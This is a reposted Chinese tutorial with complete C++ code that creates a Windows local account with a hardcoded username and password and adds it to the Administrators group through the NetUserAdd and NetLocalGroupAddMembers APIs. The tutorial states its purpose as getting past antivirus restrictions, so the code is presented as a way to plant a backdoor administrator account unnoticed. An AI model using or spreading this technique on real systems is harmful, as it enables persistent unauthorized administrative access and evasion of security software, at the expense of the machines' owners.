【API】API函數創建用戶,添加到管理組


1 學習目標

使用API添加用戶可以繞過某些殺毒軟件的限制。

2 編程思路

2.1 代碼原理

使用NetUserAdd這個API添加普通權限的用戶,NetLocalGroupAddMembers這個API添加管理員權限。

2.2 編寫思路

  • 1、定義USER_INFO_1 結構體
  • 2、調用NetUserAdd添加普通權限賬戶
  • 3、調用NetLocalGroupAddMembers添加到管理員組

3 參考文章

《使用NetUserAdd API函數創建遠程用戶》
http://www.cnblogs.com/findumars/p/5812177.html

4 實現流程

4.1 編程環境

操作系統:windows 7
編譯器版本:vs 2010

4.2 前置API函數

NetUserAdd

NET_API_STATUS NET_API_FUNCTION
NetUserAdd (
    IN  LPCWSTR     servername OPTIONAL,  //指定遠程服務器的DNS或NetBIOS名稱的函數來執行。如果該參數為NULL,使用本地計算機。
    IN  DWORD      level,
    IN  LPBYTE     buf,
    OUT LPDWORD    parm_err OPTIONAL
    );

NetLocalGroupAddMembers

NET_API_STATUS NET_API_FUNCTION
NetLocalGroupAddMembers (
    IN  LPCWSTR     servername OPTIONAL,
    IN  LPCWSTR     groupname,
    IN  DWORD      level,
    IN  LPBYTE     buf,
    IN  DWORD      totalentries
    );

4.3 C++代碼

#include "stdafx.h"
#ifndef UNICODE    
#define UNICODE    
#endif    
#include  <stdio.h>  
#include  <windows.h>  
#include  <lm.h>  
#pragma comment(lib,"netapi32")    
int Usage(wchar_t *);    
int wmain(int argc, wchar_t *argv[])    
{    


	// 定義USER_INFO_1結構體
	USER_INFO_1 ui;    
	DWORD dwError = 0;     
	ui.usri1_name = L"zzzhhh";            // 賬戶    
	ui.usri1_password = L"p@sswordQq123";      // 密碼
	ui.usri1_priv = USER_PRIV_USER;    
	ui.usri1_home_dir = NULL;    
	ui.usri1_comment = NULL;    
	ui.usri1_flags = UF_SCRIPT;    
	ui.usri1_script_path = NULL;    
	//添加名為zzzhhh的用戶,密碼為p@sswordQq123:    
	if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)    
	{    

		MessageBox(0,L"successfully",L"title",0);
	
	}    
	else    
	{    
		//添加失敗    
		MessageBox(0,L"fail",L"title",0);

	}    

	// 添加用戶到administrators組
	LOCALGROUP_MEMBERS_INFO_3 account;    
	account.lgrmi3_domainandname=ui.usri1_name;      
	if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )    
	{    
		//添加成功    
		MessageBox(0,L"Add to Administrators success",L"title",0);
	}    
	else    
	{    
		//添加失敗    
		MessageBox(0,L"Add to Administrators Fail!",L"title",0);
	}    

	return 0;
}    

運行截圖


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM